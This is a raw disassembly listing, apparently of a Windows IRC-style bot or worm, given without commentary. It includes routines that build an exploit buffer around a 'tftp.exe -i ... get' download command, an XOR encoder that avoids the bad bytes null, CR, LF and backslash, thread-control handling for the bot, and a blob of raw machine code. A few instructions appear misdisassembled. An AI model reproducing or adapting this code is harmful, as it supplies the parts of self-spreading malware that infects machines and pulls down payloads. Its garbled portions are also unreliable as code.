loc_414CC7:				; CODE XREF: sub_4149C4+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4149C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CDB	proc near		; CODE XREF: sub_414CFB+Ap
					; sub_414DD3+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CD0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CD0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_414CDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CFB	proc near		; CODE XREF: sub_414DEA+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_414CDB
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_414D18
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_414D18:				; CODE XREF: sub_414CFB+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_415CD0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_415CD0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	ds:dword_437C48, eax
		lea	eax, [edi+1]
		mov	ds:dword_437C69, eax
		lea	eax, [edi+17h]
		mov	ds:dword_437C61, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_437BE4
		push	ebx
		mov	ds:dword_437C77, eax
		call	sub_4155B0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4155B0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155B0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155B0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155B0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4155B0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_437C6D
		push	esi
		call	sub_4155B0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414CFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DD3	proc near		; CODE XREF: sub_414DEA+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414CDB
		push	eax
		call	sub_414E57
		add	esp, 0Ch
		retn
sub_414DD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DEA	proc near		; CODE XREF: sub_403178+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_414DD3
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_414E0A
		cmp	eax, 0FFFFh
		jbe	short loc_414E0E


loc_414E0A:				; CODE XREF: sub_414DEA+17j
		xor	eax, eax
		jmp	short loc_414E53
; ---------------------------------------------------------------------------


loc_414E0E:				; CODE XREF: sub_414DEA+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_414CDB
		add	eax, 101h
		push	eax
		call	sub_415DA9
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_414CDB
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_414CFB
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414E72
		push	esi
		mov	edi, eax
		call	sub_415E1D
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_414E53:				; CODE XREF: sub_414DEA+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_414DEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E57	proc near		; CODE XREF: sub_414DD3+Ep
					; sub_414E72+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_414E60
		inc	ecx


loc_414E60:				; CODE XREF: sub_414E57+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_414E57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E72	proc near		; CODE XREF: sub_414DEA+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_414E8E
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_414E8E
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_414E8E
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_414E91


loc_414E8E:				; CODE XREF: sub_414E72+8j
					; sub_414E72+Ej ...
		inc	[ebp+arg_C]


loc_414E91:				; CODE XREF: sub_414E72+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_414EB9
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_414EB2
		cmp	al, 0Dh
		jz	short loc_414EB2
		cmp	al, 5Ch
		jz	short loc_414EB2
		test	al, al
		jnz	short loc_414EB9


loc_414EB2:				; CODE XREF: sub_414E72+32j
					; sub_414E72+36j ...
		add	[ebp+arg_C], 100h


loc_414EB9:				; CODE XREF: sub_414E72+28j
					; sub_414E72+3Ej
		push	[ebp+arg_C]
		call	sub_414E57
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_414ED1
		cmp	eax, 0FFFFh
		jbe	short loc_414ED8


loc_414ED1:				; CODE XREF: sub_414E72+56j
		xor	eax, eax
		jmp	loc_414F76
; ---------------------------------------------------------------------------


loc_414ED8:				; CODE XREF: sub_414E72+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, ds:byte_469438
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_414F08


loc_414EEC:				; CODE XREF: sub_414E72+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_414EFF
		cmp	al, 0Ah
		jz	short loc_414EFF
		cmp	al, 0Dh
		jz	short loc_414EFF
		cmp	al, 5Ch
		jnz	short loc_414F03


loc_414EFF:				; CODE XREF: sub_414E72+7Fj
					; sub_414E72+83j ...
		inc	bl
		xor	edx, edx


loc_414F03:				; CODE XREF: sub_414E72+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_414EEC


loc_414F08:				; CODE XREF: sub_414E72+78j
		cmp	ecx, esi
		mov	ds:byte_469438,	bl
		ja	short loc_414F34
		push	15h
		push	offset loc_437BCC
		push	[ebp+arg_0]
		mov	ds:byte_437BD9,	cl
		mov	ds:byte_437BDD,	bl
		call	sub_4155B0
		add	esp, 0Ch
		push	15h
		jmp	short loc_414F55
; ---------------------------------------------------------------------------


loc_414F34:				; CODE XREF: sub_414E72+9Ej
		push	17h
		push	offset loc_437BB4
		push	[ebp+arg_0]
		mov	ds:word_437BC2,	cx
		mov	ds:byte_437BC7,	bl
		call	sub_4155B0
		add	esp, 0Ch
		push	17h


loc_414F55:				; CODE XREF: sub_414E72+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_414F71
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_414F63:				; CODE XREF: sub_414E72+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_414F63


loc_414F71:				; CODE XREF: sub_414E72+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_414F76:				; CODE XREF: sub_414E72+61j
		pop	esi
		leave
		retn
sub_414E72	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F79	proc near		; CODE XREF: seg000:0040734Ap
					; seg000:00407469p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43F2F8


loc_414F81:				; CODE XREF: sub_414F79+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414F95
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4687E8
		jl	short loc_414F81
		jmp	short loc_414FE0
; ---------------------------------------------------------------------------


loc_414F95:				; CODE XREF: sub_414F79+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43F2F8[esi]
		push	eax
		call	sub_416D20
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_43F4F8[esi], eax
		and	ds:dword_43F4FC[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_43F500[esi], 0
		mov	ds:dword_43F504[esi], eax
		and	ds:byte_43F510[esi], 0
		pop	esi


loc_414FE0:				; CODE XREF: sub_414F79+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414F79	endp

; ---------------------------------------------------------------------------
dword_414FE4	dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
					; DATA XREF: seg000:0041246Co
		dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
		dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h
		dd 6AE8006Ah, 7EDE1547h, 8B555E5Fh, 0EC81ECh, 56000002h
		dd 0FF006A57h, 0A8681075h, 0FF00437Ch, 75FF0C75h, 0DCDCE808h
		dd 0C483FFFFh, 0BEFF3314h, 43F2F8h, 74003E80h, 147D833Ch
		dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
		dd 435C6C68h, 46E85000h, 6A000004h, 858D01h, 0FFFFFFFEh
		dd 0FF501075h, 75FF0C75h, 0DC94E808h, 0C483FFFFh, 34C68124h
		dd 47000002h, 87E8FE81h, 0B07C0046h, 0C3C95E5Fh

; =============== S U B	R O U T	I N E =======================================



sub_4150B4	proc near		; CODE XREF: seg000:0041184Dp
					; sub_415142+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_41513C
		cmp	esi, 12Ch
		jge	short loc_41513C
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_43F50C[esi]
		lea	edi, dword_43F50C[esi]
		call	near ptr 0A1FAAE62h
		pusha
		cmp	[edi], ebx
		jz	short loc_4150EC
		push	1
		pop	ebp


loc_4150EC:				; CODE XREF: sub_4150B4+33j
		mov	[edi], ebx
		lea	edi, dword_43F500[esi]
		mov	ds:dword_43F4F8[esi], ebx
		mov	ds:dword_43F4FC[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_41510D
		push	eax
		call	sub_414047
		pop	ecx


loc_41510D:				; CODE XREF: sub_4150B4+50j
		mov	[edi], ebx
		lea	edi, dword_43F504[esi]
		mov	byte ptr ds:dword_43F2F8[esi], bl
		mov	ds:byte_43F510[esi], bl
		push	dword ptr [edi]
		call	ds:dword_43A400
		lea	esi, dword_43F508[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_43A400
		mov	[esi], ebx
		pop	edi


loc_41513C:				; CODE XREF: sub_4150B4+Dj
					; sub_4150B4+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415142	proc near		; CODE XREF: seg000:loc_409E1Dp
					; seg000:0040C596p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43F2F8


loc_41514E:				; CODE XREF: sub_415142+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_41515F
		push	edi
		call	sub_4150B4
		test	eax, eax
		pop	ecx
		jz	short loc_41515F
		inc	ebx


loc_41515F:				; CODE XREF: sub_415142+Fj
					; sub_415142+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4687E8
		jl	short loc_41514E
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_415142	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415174	proc near		; CODE XREF: seg000:0040EB02p
					; seg000:0040EB70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43F4FC


loc_415188:				; CODE XREF: sub_415174+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4151AA
		test	edi, edi
		jle	short loc_41519C
		cmp	[esi], edi
		jz	short loc_41519C
		cmp	ebx, edi
		jnz	short loc_4151AA


loc_41519C:				; CODE XREF: sub_415174+1Ej
					; sub_415174+22j
		push	ebx
		call	sub_4150B4
		test	eax, eax
		pop	ecx
		jz	short loc_4151AA
		inc	[ebp+var_4]


loc_4151AA:				; CODE XREF: sub_415174+1Aj
					; sub_415174+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4689EC
		jl	short loc_415188
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415174	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151C1	proc near		; CODE XREF: sub_4071E3+Bp
					; seg000:00407287p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43F4F8


loc_4151C8:				; CODE XREF: sub_4151C1+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4151D1
		inc	eax


loc_4151D1:				; CODE XREF: sub_4151C1+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4689E8
		jl	short loc_4151C8
		retn
sub_4151C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151E0	proc near		; CODE XREF: seg000:00411F26p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43F4F8


loc_4151EA:				; CODE XREF: sub_4151E0+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_415203
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4689E8
		jl	short loc_4151EA
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415203:				; CODE XREF: sub_4151E0+10j
		mov	eax, edx
		pop	esi
		retn
sub_4151E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415207	proc near		; CODE XREF: seg000:0040DE9Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_415220
		push	[ebp+arg_1C]
		call	sub_415A3F
		pop	ecx


loc_415220:				; CODE XREF: sub_415207+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_415174
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41524C
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4154CD
		add	esp, 14h
		jmp	short loc_415266
; ---------------------------------------------------------------------------


loc_41524C:				; CODE XREF: sub_415207+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_415266:				; CODE XREF: sub_415207+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_415286
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_415286:				; CODE XREF: sub_415207+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B151
		pop	ecx
		leave
		retn
sub_415207	endp


; =============== S U B	R O U T	I N E =======================================



sub_415295	proc near		; CODE XREF: start+A2p
					; seg000:004014D4p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_43F50C[eax], ecx
		mov	ds:dword_43F4F8[eax], ecx
		mov	ds:dword_43F4FC[eax], ecx
		mov	ds:dword_43F500[eax], ecx
		mov	ds:dword_43F504[eax], ecx
		mov	ds:dword_43F508[eax], ecx
		mov	byte ptr ds:dword_43F2F8[eax], cl
		mov	ds:byte_43F510[eax], cl
		retn
sub_415295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152D2	proc near		; CODE XREF: seg000:00412A31p
					; sub_415400+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4152DC:				; CODE XREF: sub_4152D2+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41533C
		cmp	eax, 1
		jnz	short loc_41533C
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41533C
		cmp	cl, 2Ah
		jz	short loc_415323
		cmp	cl, 3Fh
		jz	short loc_415306
		cmp	cl, 5Bh
		jz	short loc_41530B
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_415306:				; CODE XREF: sub_4152D2+26j
		inc	[ebp+arg_4]
		jmp	short loc_415336
; ---------------------------------------------------------------------------


loc_41530B:				; CODE XREF: sub_4152D2+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415368
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415336
; ---------------------------------------------------------------------------


loc_415323:				; CODE XREF: sub_4152D2+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_415400
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_415336:				; CODE XREF: sub_4152D2+37j
					; sub_4152D2+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4152DC
; ---------------------------------------------------------------------------


loc_41533C:				; CODE XREF: sub_4152D2+Ej
					; sub_4152D2+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41534C
		cmp	eax, 1
		jnz	short loc_415363
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41533C
; ---------------------------------------------------------------------------


loc_41534C:				; CODE XREF: sub_4152D2+6Dj
		cmp	eax, 1
		jnz	short loc_415363
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_415363
		cmp	byte ptr [esi],	0
		jnz	short loc_415363
		push	1
		pop	eax
		jmp	short loc_415365
; ---------------------------------------------------------------------------


loc_415363:				; CODE XREF: sub_4152D2+72j
					; sub_4152D2+7Dj ...
		xor	eax, eax


loc_415365:				; CODE XREF: sub_4152D2+8Fj
		pop	esi
		pop	ebp
		retn
sub_4152D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415368	proc near		; CODE XREF: sub_4152D2+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_415389
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_415389:				; CODE XREF: sub_415368+19j
		push	ebx
		push	esi


loc_41538B:				; CODE XREF: sub_415368+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_415399
		cmp	[ebp+var_4], eax
		jnz	short loc_4153E5


loc_415399:				; CODE XREF: sub_415368+2Aj
		test	edi, edi
		jnz	short loc_4153DA
		cmp	bl, 2Dh
		jnz	short loc_4153CE
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4153CE
		cmp	al, 5Dh
		jz	short loc_4153CE
		cmp	[ebp+var_4], edi
		jnz	short loc_4153CE
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4153DA
		cmp	bl, al
		jg	short loc_4153DA
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4153DA
; ---------------------------------------------------------------------------


loc_4153CE:				; CODE XREF: sub_415368+38j
					; sub_415368+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4153DA
		push	1
		pop	edi


loc_4153DA:				; CODE XREF: sub_415368+33j
					; sub_415368+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41538B
; ---------------------------------------------------------------------------


loc_4153E5:				; CODE XREF: sub_415368+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4153F2
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4153F2:				; CODE XREF: sub_415368+82j
		cmp	edi, eax
		jnz	short loc_4153FB
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4153FB:				; CODE XREF: sub_415368+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_415368	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415400	proc near		; CODE XREF: sub_4152D2+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_41541C:				; CODE XREF: sub_415400+3Aj
		cmp	[eax], bl
		jz	short loc_41543C
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_415431
		cmp	cl, 2Ah
		jnz	short loc_41543C
		cmp	cl, 3Fh
		jnz	short loc_415434


loc_415431:				; CODE XREF: sub_415400+25j
		inc	eax
		mov	[edi], eax


loc_415434:				; CODE XREF: sub_415400+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_41541C
; ---------------------------------------------------------------------------


loc_41543C:				; CODE XREF: sub_415400+1Ej
					; sub_415400+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_415447
		inc	dword ptr [esi]
		jmp	short loc_41543C
; ---------------------------------------------------------------------------


loc_415447:				; CODE XREF: sub_415400+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_415468
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_415459
		xor	eax, eax
		jmp	short loc_4154C8
; ---------------------------------------------------------------------------


loc_415459:				; CODE XREF: sub_415400+53j
		cmp	cl, bl
		jnz	short loc_415468
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_415468
		push	1
		pop	eax
		jmp	short loc_4154C8
; ---------------------------------------------------------------------------


loc_415468:				; CODE XREF: sub_415400+4Dj
					; sub_415400+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4152D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4154B2


loc_415476:				; CODE XREF: sub_415400+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41547A:				; CODE XREF: sub_415400+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_415492
		cmp	cl, 5Bh
		jz	short loc_415492
		cmp	dl, bl
		jz	short loc_415492
		inc	eax
		mov	[edi], eax
		jmp	short loc_41547A
; ---------------------------------------------------------------------------


loc_415492:				; CODE XREF: sub_415400+82j
					; sub_415400+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_4154A9
		push	eax
		push	dword ptr [esi]
		call	sub_4152D2
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4154AE
; ---------------------------------------------------------------------------


loc_4154A9:				; CODE XREF: sub_415400+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4154AE:				; CODE XREF: sub_415400+A7j
		cmp	eax, ebx
		jnz	short loc_415476


loc_4154B2:				; CODE XREF: sub_415400+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4154C5
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4154C5
		mov	[ebp+var_4], 1


loc_4154C5:				; CODE XREF: sub_415400+B6j
					; sub_415400+BCj
		mov	eax, [ebp+var_4]


loc_4154C8:				; CODE XREF: sub_415400+57j
					; sub_415400+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415400	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154CD	proc near		; CODE XREF: start+61p
					; seg000:004013BAp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_417D2C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41550D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41551A
; ---------------------------------------------------------------------------


loc_41550D:				; CODE XREF: sub_4154CD+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C17
		pop	ecx
		pop	ecx


loc_41551A:				; CODE XREF: sub_4154CD+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4154CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41551F	proc near		; CODE XREF: start+2Ep
					; seg000:00401C1Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_437CF8, eax
		retn
sub_41551F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415529	proc near		; CODE XREF: seg000:0040117Dp
					; seg000:004011F1p ...
		mov	eax, ds:dword_437CF8
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_437CF8, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_415529	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415550	proc near		; CODE XREF: seg000:00401333p
					; seg000:004015C7p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4155A3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_415597
		neg	ecx
		and	ecx, 3
		jz	short loc_415579
		sub	edx, ecx


loc_415573:				; CODE XREF: sub_415550+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_415573


loc_415579:				; CODE XREF: sub_415550+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_415597
		rep stosd
		test	edx, edx
		jz	short loc_41559D


loc_415597:				; CODE XREF: sub_415550+18j
					; sub_415550+3Fj ...
